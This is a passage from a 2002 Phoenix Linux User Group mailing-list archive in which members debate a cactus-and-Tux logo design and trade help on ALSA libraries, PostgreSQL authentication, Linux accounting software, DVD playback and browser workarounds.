"slr" > > To: ; > > Sent: Friday, June 28, 2002 2:48 PM > > Subject: Re: PLUG Logo Update! > > > > > ok, seeing that it is kind of a split. some like the prickly pears and > > > > some > > > > > like saguaros. how about we have 2, one with prickly's and one with > > > > saguaros. > > > > > those who like prickly's will be happy, and those who want saguaro's will > > > > be > > > > > happy as well. > > > > > > as for the White Outline on Tux's arms, is it really that distracting > > > from > > > > the > > > > > overall image? > > > > > > as for the Italic Fonts, is this an overall deciding factor for the > > > group? > > > > > > slr > > > > > > On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > > > > My $0.02. > > > > > > > > It is lopsided with the BIG saguaro on the right and the little cactus > > > > on > > > > > > the left. I like the balance of the original logo, with saguaros not > > > > too > > > > > > big and on both sides. It would match the banner we already have. > > > > > > > > Other than that, way cool work! Thanks for doing it! > > > > > > > > Alan > > > > > > > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > > > > > > > this is the newest version, also the master will be posted soon. what > > > > do you guys think about Tux in a Spawn Costume? > > > > > > > > http://www.zen2now.com/tux/tux1.jpg > > > > > > > > need some good feed back, as i want to get going with the screen > > > > printing > > > > > > slr > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 01:28:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Fri, 28 Jun 2002 18:28:57 -0700 (MST) Subject: New Version of PLUG Logo In-Reply-To: Message-ID: Am 28. Jun, 2002 schwätzte alandd@mindspring.com so: > The right cactus is WAY to tall. Make it just a little taller than the left > one. It will give more balance and Tux can be relatively a little bigger. > The way it is now, my eye is drawn to that big saguaro when I should primarily > see the penguin. And I wonder who's ever seen a saguaro as short as the one on the left :). ciao, der.hans -- # https://www.LuftHans.com/ # A t-shirt a day keeps the noose (tie) away. - der.hans From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 01:03:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Fri, 28 Jun 2002 18:03:17 -0700 Subject: New Version of PLUG Logo In-Reply-To: <200206281658.06007.zen2now@qwest.net> Message-ID: <5.1.0.14.0.20020628180226.00ac4080@localhost> Well, now you have done it. You have out worked yourself. Absolutely great! Keep this one. Don't change a thing. Make it happen and we will come! : ) Kimi Adams Unity Wave At 6/28/02, you wrote: >check it out. dual saguaro's and non-italic fonts >http://www.zen2now.com/tux/double_g.jpg > >slr > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 01:36:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 28 Jun 2002 18:36:44 -0700 Subject: PLUG Logo Update! References: Message-ID: <3D1D0F2C.6EA3F9F4@leml.asu.edu> > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > this is the newest version, also the master will be posted soon. what do you > guys think about Tux in a Spawn Costume? > > http://www.zen2now.com/tux/tux1.jpg > > need some good feed back, as i want to get going with the screen printing The only thing I think I would add is a couple sweat beads running down his head ;-) But seriously. Depending on what techniques you will be using for the silk screaning you are looking at what looks to be a 6 color press. If the grey "shadow" on tux's belly is done using a tranlucent or transparent grey, then the grey belly shadow, greyish highlights, and possibly the darker edges on the yellow can be done with an overprint using this collor. Another way to do it is to half-tone these areas of the image and over print with black. The real reason you want to do this is to reduce the number of colors used in the image. Every time you have to print another color you have to clean up the old ink, switch out the screen (or move to a different area), register, and start over. Every new color will cost you a bit more -- assuming you are using standard silk screen technology ad not sublimation transfer inks which are a whole nother kettle of fish, but still the more colors the more it will cost. Along those lines, make sure the dark green in "Penguins in the Desert" is he same as the dark green in the cacti... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 01:46:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 28 Jun 2002 18:46:38 -0700 Subject: New Version of PLUG Logo References: <20020629000510.44073.qmail@web13402.mail.yahoo.com> Message-ID: <3D1D117E.243FCA4D@leml.asu.edu> bob smith wrote: > > --- slr wrote: > > check it out. dual saguaro's and non-italic fonts > > http://www.zen2now.com/tux/double_g.jpg > > > > slr > > Kick arse :). actually... we need a "Tux the Penguin Kicks Micro$ofts Arse" T-shirt... hmmm... Tux in a stetson, kicking a donkey's arse with Bill's head on the donkey ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 01:43:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 28 Jun 2002 18:43:26 -0700 Subject: New Version of PLUG Logo References: Message-ID: <3D1D10BE.426F56E@leml.asu.edu> "der.hans" wrote: > > Am 28. Jun, 2002 schwätzte alandd@mindspring.com so: > > > The right cactus is WAY to tall. Make it just a little taller than the left > > one. It will give more balance and Tux can be relatively a little bigger. > > The way it is now, my eye is drawn to that big saguaro when I should primarily > > see the penguin. > > And I wonder who's ever seen a saguaro as short as the one on the left :). ahhh.... it's just a wood'l baby saguaro... cuddawe wadawe CCCCUUUUTTTTEEE ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 02:16:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mario Hines) Date: Fri, 28 Jun 2002 19:16:01 -0700 (PDT) Subject: libasound.so.1??? Message-ID: <20020629021601.20740.qmail@web20610.mail.yahoo.com> I was trying to load Armagetron on my Linux system and it came up with this requirement. "libasound.so.1". Does ANYONE know where this RPM/file can be found or what RPM it comes with? Thanks for the help. -Mario __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 02:42:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Fri, 28 Jun 2002 19:42:30 -0700 Subject: New Version of PLUG Logo In-Reply-To: <3D1D10BE.426F56E@leml.asu.edu> References: <3D1D10BE.426F56E@leml.asu.edu> Message-ID: <200206281942.30536.alandd@mindspring.com> Of course, there is no way that is a baby cactus because it has arms. Saguaro don't get arms until they are around 50 years old (if I remember correctly). Just think of it as being in the distant background. Whatever is the final design will look just great, I am sure. Alan On Friday 28 June 2002 06:43 pm, John (EBo) David wrote: > "der.hans" wrote: > > Am 28. Jun, 2002 schwätzte alandd@mindspring.com so: > > > The right cactus is WAY to tall. Make it just a little taller than the > > > left one. It will give more balance and Tux can be relatively a little > > > bigger. The way it is now, my eye is drawn to that big saguaro when I > > > should primarily see the penguin. > > > > And I wonder who's ever seen a saguaro as short as the one on the left > > :). > > ahhh.... it's just a wood'l baby saguaro... cuddawe wadawe > CCCCUUUUTTTTEEE ;-) > > > EBo -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 02:52:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Fri, 28 Jun 2002 19:52:41 -0700 Subject: libasound.so.1??? References: <20020629021601.20740.qmail@web20610.mail.yahoo.com> Message-ID: <3D1D20F9.7057F8B7@qwest.net> looks like it is part of ALSA. For mandrake the rpm is http://www.rpmfind.net//linux/RPM/mandrake/8.2/i586/Mandrake/RPMS/libalsa1-0.5.10b-1mdk.i586.html Don't know which one in RH provides it since I don't have my 7.3 cds here at home. bash script to find something in an rpm: for p in *.rpm do echo $p rpm -qlp $p | grep libasound done > I was trying to load Armagetron on my Linux > system and it came up with this requirement. > "libasound.so.1". Does ANYONE know where this > RPM/file can be found or what RPM it comes with? > Thanks for the help. > > -Mario > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 03:01:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 28 Jun 2002 20:01:08 -0700 Subject: New Version of PLUG Logo References: <3D1D10BE.426F56E@leml.asu.edu> <200206281942.30536.alandd@mindspring.com> Message-ID: <3D1D22F4.BD1D36EC@leml.asu.edu> Alan Dayley wrote: > > Of course, there is no way that is a baby cactus because it has arms. Saguaro > don't get arms until they are around 50 years old (if I remember correctly). > Just think of it as being in the distant background. Doh... I should have remembered that, I was just playing... Besides, have you hugged a saguaro lately 8-0 Talk about a PAIN!!! ;-) > Whatever is the final design will look just great, I am sure. yes. It is wonderful, and whatever it comes out to be I am sure it will be beautiful! EBo -- > On Friday 28 June 2002 06:43 pm, John (EBo) David wrote: > > "der.hans" wrote: > > > Am 28. Jun, 2002 schwätzte alandd@mindspring.com so: > > > > The right cactus is WAY to tall. Make it just a little taller than the > > > > left one. It will give more balance and Tux can be relatively a little > > > > bigger. The way it is now, my eye is drawn to that big saguaro when I > > > > should primarily see the penguin. > > > > > > And I wonder who's ever seen a saguaro as short as the one on the left > > > :). > > > > ahhh.... it's just a wood'l baby saguaro... cuddawe wadawe > > CCCCUUUUTTTTEEE ;-) From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 03:28:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Fri, 28 Jun 2002 20:28:29 -0700 Subject: New Version of PLUG Logo In-Reply-To: Message-ID: <000201c21f1d$0a824f60$6500000a@janus> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Or a penguin as big as tux... "My advice to you is get married: if you find a good wife you'll be happy; if not, you'll become a philosopher." -- Socrates matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com | http://www.zanfar.com - -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] On Behalf Of der.hans Sent: Friday, June 28, 2002 6:29 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: New Version of PLUG Logo Am 28. Jun, 2002 schwätzte alandd@mindspring.com so: > The right cactus is WAY to tall. Make it just a little taller than > the left one. It will give more balance and Tux can be relatively > a little bigger. The way it is now, my eye is drawn to that big > saguaro when I should primarily see the penguin. And I wonder who's ever seen a saguaro as short as the one on the left :). ciao, der.hans - -- # https://www.LuftHans.com/ # A t-shirt a day keeps the noose (tie) away. - der.hans ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: PGP 7.0.4 iQA/AwUBPR0pXY4p6zlv2o83EQJIUgCgzFck0GyiTSD4ZAGTwGSFDb3MAYIAn0SB tiUsUERiEn1vlpXkCjhYZgfb =ZlRs -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:24:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Rogers) Date: Fri, 28 Jun 2002 12:24:14 -0700 Subject: Accounting Packages References: <4A8DFDA6B395D411A11B00508BEE23FE76B548@mail.int.fh.org> Message-ID: <3D1CB7DE.4070706@rogersdirect.com> Gnucash is not an accounting package that does inventory, payroll, job cost, and 90% of the other features that Quickbooks has. Tom Achtenberg wrote: >Look at Gnucash > >-----Original Message----- >From: Don Calfa [mailto:tvat3000@netscape.net] >Sent: Friday, June 28, 2002 10:07 AM >To: PLUG-discuss@lists.plug.phoenix.az.us >Subject: Accounting Packages > > >Are there any accounting packages like Peachtree or Quickbooks for >Linux? I haven't seen one and I know that this key program would be >instrumental for getting small businesses into the Linux world. I'm >also looking for personal reasons. > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 17:07:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Rogers) Date: Fri, 28 Jun 2002 10:07:39 -0700 Subject: Hello I'm new (kinda) References: <20020627013127.16883.qmail@web13408.mail.yahoo.com> Message-ID: <3D1C97DB.20301@rogersdirect.com> I'm using the Xine player out of the box that comes with Mandrake 8.2. Only region free DVD's play. I've tried multiple Region 1 DVD's from different distributors and none of them work. bob smith wrote: >--- Don Calfa wrote: > > >>Are you able to play Region 1 DVD's? I am only able >>to play region free >>DVD's on Mandrake 8.2 >> >> > >Hi Don, >Yes I'm able to play Region 1. I tried out one of my >sisters DVD's and it worked fine. What errors are you >getting? What player are you using? > >__________________________________________________ >Do You Yahoo!? >Yahoo! - Official partner of 2002 FIFA World Cup >http://fifaworldcup.yahoo.com >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 15:57:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Fri, 28 Jun 2002 08:57:52 -0700 Subject: Fw: 80/20 Rule for Desktops Message-ID: looky what i got from one of my mailing lists, i only deleted the sponsored ads they were not for M$: ----- Original Message ----- From: Sent: Thursday, June 27, 2002 10:51 PM Subject: 80/20 Rule for Desktops > > > ENTERPRISE NETWORK MANAGEMENT --- June 28, 2002 > Published by ITworld.com -- changing the way you view IT > http://www.itworld.com/newsletters > ____________________________________________________________________________ ____ > > HIGHLIGHTS > > * The growth of Linux desktop alternatives has corresponded with > Microsoft's restrictive new licensing scheme. ____________________________________________________________________________ __ > > 80/20 Rule for Desktops > By James Gaskin > > As Microsoft's licensing terms restrictions get closer, more desktop > news demands some attention. By this time next year, Linux desktop > alternatives will show serious market share (over 5 percent). In fact, > Linux desktop share could overtake Macintosh share before next summer. > > Why? Two big reasons. First, Microsoft's licensing lunacy aggravated > more people than anyone, especially at Microsoft, expected. Second, > Linux vendors now, or soon will, offer a desktop system perfectly usable > by about 80 percent of computers users on the Internet. Red Hat pulls > the most weight in Linux circles today, but all the Linux desktop > implementations have value. By next year, desktop Linux systems will > install faster and easier than Windows. > > What do many people do all day on their computers? E-mail, Web access, > and light word-processing. Add calendar and address book in there if you > want, but many companies now provide those features on Web hosts rather > than trust each user to backup and secure their own information. > > Linux systems have fine e-mail clients. Not Outlook, perhaps, but the > viruses and management overhead required to support Outlook clients with > Microsoft e-mail servers grows every day, and companies also want out > from under that cloud. If you haven't noticed, Web-based e-mail solves > many bandwidth and security issues, making a Web-hosted e-mail client > more popular every day, even under Linux. > > The Netscape Web client suite comes with many Linux desktop > distributions, and the Open Source community reworking Netscape through > the Mozilla project just released some software. I'm using the Netscape > 7.0 beta release, and find it more stable than Netscape 6.2 and Internet > Explorer 5.5. Mark another Linux winner for the 80 percent group. > > Light word processing, letters, and memos work quite well in smaller > applications. Long documents, and those with macros (virus magnets), may > need a stout application like Microsoft Word or Corel's WordPerfect, but > few people really need the power. Most users never overwhelm the text > editor in their e-mail client, and it already has a spell checker. > > Even if you don't really want to move to Linux desktops, here's how to > save some real money this summer. Before your Microsoft rep comes > through with the bad news about your increased licensing cost, install a > half-dozen Linux desktops. Parade the Microsoftie past these stations on > the way to your meeting. Watch the licensing fee drop. Competition does > wonderful things to prices. > > ____________________________________________________________________________ ____ > > About the author(s) > ------------------- > James E. Gaskin writes books, articles, columns, and jokes about > technology and real life. A Dallas-area author and consultant, he has > written seven networking books and co-authored three others. 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Click here! > http://itw.itworld.com/GoForward/a14724a60762aSa100254133a21 > > SUBSCRIBE/UNSUBSCRIBE > Please click on the link below to modify your subscription, unsubscribe, > or change your email address: > > http://itw.itworld.com/Change-Remove/a14724a100254133a21a60762 > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:49:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 28 Jun 2002 14:49:59 -0700 Subject: postgreSQL permission problems Message-ID: <1738B2A44A4FD3118A500000F848CBCF0DC1A9BE@xcem-aztem-01.wellsfargo.com> Srs, I just unsubscribe from this list, although I'm still receiving emails. Can someone unsubscribe me? -----Original Message----- From: Mike Starke [mailto:meg@lilly.csoft.net] Sent: Friday, June 28, 2002 2:29 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: postgreSQL permission problems Right before Derek replied I figured out the pg_hba file right. So her was right on. although I have it fairly wide open, I'm able to get in and evaluate the program. I do have one question: Someone posted earlier this week about postgres utilizing the GRANT & REVOKE statements. In MySQL, it is pretty straightforward (at least to me) what happens when you issue GRANT statements. How is this handled in postgreSQL? Does it make entries in a table somewhere, or does it manipulate the pg_hba file? Or? v/r mike :On Fri, Jun 28, 2002 at 01:49:19PM -0700, Tom Emerson wrote: Mike, how is the postmaster started? (postmaster is the postgresql backend server) There is an option the postmaster needs in order to allow network connections. Example, looking at the process list (ps ax): /usr/local/pgsql/bin/postmaster -i -D /web/pgsql The "-i" option seen here allows tcp connections, without it, quite a few of the software's can't connect. If you don't see this "-i" option, that may be your problem. A typical startup command for the postmaster looks like this (but all on one line!): su - postgres -c "/usr/local/pgsql/bin/postmaster -i -D /web/pgsql >logfile 2>&1 &" On Fri, 28 Jun 2002, Mike Starke wrote: I am attempting to get SQL-Ledger up and running and am running into a few problems as it pertains to postgreSQL. I have done the following: 1. As the user postgres (I'm on a debian sysem btw), I have done: 'createuser mike' 2. As the user 'mike' I have done: 'createdb mydb' 3. I can, as user 'mike' do: 'psql mydb' and get to the command line utility. 4. I have also ensured that I have the line" 'tcpip_socket = 1' in /etc/postgresql.conf 5. I have mucked around in /etc/postgresql/pg_hba.conf a bit and not sure what I have done in there. At any rate, when I fire up http://localhost/sqlledger.admin.pl, login, and then try to "Create Dataset" under the user 'mike', my linux (mike) password, and connect to 'mydb', I get the following error:FATAL 1: IDENT authentication failed for user "mike". I'm suspect my problems lie within pg_hba.conf, but whatever I do (thinking it is wide open) I continue to get the same error message. Can anyone offer some guidance here? v/r Mike ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 03:41:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Fri, 28 Jun 2002 20:41:29 -0700 Subject: New Version of PLUG Logo In-Reply-To: <200206281658.06007.zen2now@qwest.net> Message-ID: <000301c21f1e$dc00b8f0$6500000a@janus> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I don't want to diminish 'Austin's' much appreciated help on this issue, however, I'd like to make known my feelings on the logo. I really liked the very first logo, with the prickly pear [http://www.zen2now.com/tux/tux_wallpaper.jpg], but I also understand Alan's point about the saguaros. I would personally like to see the right Prickly Pear, or the original mirrored to the left, and the left saguaro of the latest version [http://www.zen2now.com/tux/double_g.jpg] mirrored on the right. I know that this is asking a lot of someone who has already committed more time and effort than ever expected, and so in return I volunteer to make these changes myself if a master PNG could be provided. And thanks again, 'Austin', if that's your real name... "There are only two ways to live your life. One is as though nothing is a miracle. The other is as though everything is a miracle." -- Albert Einstein matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com | http://www.zanfar.com - -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] On Behalf Of slr Sent: Friday, June 28, 2002 4:58 PM To: 'plug-discuss@lists.plug.phoenix.az.us' Subject: New Version of PLUG Logo check it out. dual saguaro's and non-italic fonts http://www.zen2now.com/tux/double_g.jpg slr ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: PGP 7.0.4 iQA/AwUBPR0saY4p6zlv2o83EQIrzgCgy+e7PQXTzxZ9HFLEAKLCsURKiskAoPxt vr6PZv+s1mpLuZKLIUSup7ws =PtjO -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:30:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Fri, 28 Jun 2002 13:30:18 -0700 Subject: Linux at Work Message-ID: <200206281330.18502.charlie@swtravel.com> This is more of a report that a query, but any suggestions would be appreciated. I finally have discovered a workaround for a mission criticle intranet application. Here is the scenario. 1. Login to page on our intranet. 2. enter either a phone number or extension number Here is where trouble starts. 3. A page is launched. This page is a frameset, each frame refreshes seperatley. This separate refreshing works in Mozilla 1.0, Opera 6.0 and I also got it working in IE 5.5 running under wine. The separate refreshing doesn't work with Konquerer 3.0.0, both frames freeze. 4. When calls come in, one of the frames lists how many calls are on queue and the other frame lists the nature of the first call on the queue and gives an option to either take the call or re queue it to someone else. A sound is generated when a call comes it. The line in the code that generates the sound is some sort of non standard Microsoft thing. The only browser that properly parses this MS tag is Konquerer, it generates the sound. (Konquerer also does something that I have only been able to get IE 5.5 to do. It allows multiple sessions to be opened in separate virtual windows, and better yet also keeps any windows opened by a page in a particular window to open in that window independent of what is going on in each other virtual window) Here is the work around, I don't need to see the number of calls on queue, so I login as normal, put in my extension number and then manually launch only the frame that gives the nature of the call and that allows me to either take or requeue a call. I would love to post the HTML code that does all this, but its proprietary and the owner of the company won't let me show it to out siders. Anyway thank goodness for the variety of ways of doing things in linux . Charlie From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 13:33:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Sat, 29 Jun 2002 06:33:44 -0700 (MST) Subject: PLUG Logo Update! In-Reply-To: <200206281448.27786.zen2now@qwest.net> Message-ID: Our banner says "Users" Group... let's be consistent at least. The logo should say "Users". \\/ From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 15:24:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Sat, 29 Jun 2002 08:24:21 -0700 Subject: PLUG Logo Update! References: Message-ID: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> well, i think i asked this ? before, because the PLUG web site is inconsistant. and yours is only the second comment about "Users" vs "User". how does the group feel about this isssue? slr ----- Original Message ----- From: "William Lindley" To: Sent: Saturday, June 29, 2002 6:33 AM Subject: Re: PLUG Logo Update! > Our banner says "Users" Group... let's be consistent at least. > > The logo should say "Users". > > \\/ > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 15:50:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 29 Jun 2002 08:50:56 -0700 Subject: PLUG Logo Update! In-Reply-To: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> References: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> Message-ID: <1025365856.2483.1.camel@bryceco1> I really don't care all that much except that it be consistent and plural. $0.02 On Sat, 2002-06-29 at 08:24, slr wrote: > well, i think i asked this ? before, because the PLUG web site is > inconsistant. and yours is only the second comment about "Users" vs "User". > how does the group feel about this isssue? > > slr > > ----- Original Message ----- > From: "William Lindley" > To: > Sent: Saturday, June 29, 2002 6:33 AM > Subject: Re: PLUG Logo Update! > > > > Our banner says "Users" Group... let's be consistent at least. > > > > The logo should say "Users". > > > > \\/ > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce Chidester Network Administrator CoBryce Communications Bryce AT BryceCo DOT Net http://www.bryceco.net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 16:01:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Sat, 29 Jun 2002 09:01:14 -0700 Subject: Mozilla troubles References: <20020629000409.6884.qmail@web13408.mail.yahoo.com> Message-ID: <001c01c21f86$3214ae10$0601010a@tickticker.com> since i don't use it for email, I am definitely sticking with Opera, although mozilla is all i use on my lycoris box, the other 5 have Opera. Mouse gestures.....unbeatable. anthony ----- Original Message ----- From: "bob smith" To: Sent: Friday, June 28, 2002 5:04 PM Subject: Mozilla troubles > Hey all, > I think this was mentioned before but I could not find > it searching through the archives. I was just curious > how Mozilla is working out for you all? When I was > using Gnome 1.4 with Mozilla it was really speedy and > I had no problems. Lately I just tried using Mozilla > with window maker and it is pretty slow. It takes > awhile to open new windows and such. Anyone > experiencing similar problems? > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 16:31:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 29 Jun 2002 09:31:47 -0700 Subject: New Version of PLUG Logo In-Reply-To: <000301c21f1e$dc00b8f0$6500000a@janus> References: <000301c21f1e$dc00b8f0$6500000a@janus> Message-ID: <200206290931.47521.dennisk@sahuaro.f2s.com> On Friday 28 June 2002 08:41 pm, Matt Wyant wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I don't want to diminish 'Austin's' much appreciated help on this > issue, however, I'd like to make known my feelings on the logo. I > really liked the very first logo, with the prickly pear > [http://www.zen2now.com/tux/tux_wallpaper.jpg], but I also understand > Alan's point about the saguaros. I would personally like to see the > right Prickly Pear, or the original mirrored to the left, and the > left saguaro of the latest version > [http://www.zen2now.com/tux/double_g.jpg] mirrored on the right. I > know that this is asking a lot of someone who has already committed > more time and effort than ever expected, and so in return I volunteer > to make these changes myself if a master PNG could be provided. > > And thanks again, 'Austin', if that's your real name... > > > "There are only two ways to live your life. One is as though 